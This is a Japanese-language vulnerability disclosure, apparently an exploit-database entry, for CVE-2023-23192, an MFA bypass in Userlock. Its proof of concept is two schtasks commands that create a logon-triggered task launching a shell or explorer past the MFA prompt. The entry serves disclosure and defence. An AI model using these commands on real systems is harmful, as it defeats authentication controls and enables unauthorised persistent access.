CVE-2023-23192

CVE-2023-23192- Userlock - 多要素認証（MFA）バイパス

エクスプロイトタイトル: Userlock - 多要素認証（MFA）バイパス

日付: 01/11/2023

エクスプロイト作者: Pinar Sadioglu

ベンダーホームページ: https://www.isdecisions.com/products/userlock/help/#

バージョン: < = 11.0.1.40

テスト環境: Windows 10

ソフトウェア : ワークステーションまたはターミナルサーバー上の対話型セッションを保護するために、Userlockの'Desktop agent'でテスト済み。

CVE : CVE-2023-23192

MITRE ATT&CK: T1053.005 - Scheduled Task/Job: Scheduled Task

必要な権限: Administrator, Root

https://nvd.nist.gov/vuln/detail/CVE-2023-23192

説明: Userlockは、Windows Active Directoryおよびクラウド環境向けの多要素認証ソリューションであり、不正かつ望ましくないアクセスを阻止します。Windowsログオン、リモートデスクトップ（RDPおよびRD Gateway）、IIS、VPN、クラウドアプリケーション上で、カスタマイズされた二要素認証（2FA）を実現します。Userlockを使用すると、Active Directoryログオン、ドメイン参加済みのワークステーションおよびサーバーにMFAを実装できます。その日の最初のワークステーションへのログオン時に、AuthenticatorアプリのOTPコードを入力できるダイアログボックスが表示されます。Userlockはログオンプロセスと統合して、二要素認証を提供します。

脅威アクターが被害者のコンピューター上で永続性を確立するために最も一般的に悪用される戦略の1つは、タスクスケジューリングです。攻撃者はこの戦略を頻繁に使用して、自動検出を回避し、永続性を維持し、長期間潜伏した後に奇襲攻撃を実行します。

脆弱性:

任意のユーザーのログオン後に実行されるスケジュールタスクを作成します。

> schtasks /create /tn "MFA_Bypass_OnLogon" /sc onlogon /tr "cmd.exe /c powershell.exe"

ドメイン資格情報でのログオンに成功すると、スケジュールされたcmd.exeにUserlock MFAダイアログボックスが表示されます。

> schtasks /create /tn "MFA_Bypass_OnLogon" /sc onlogon /tr "cmd.exe /c explorer.exe"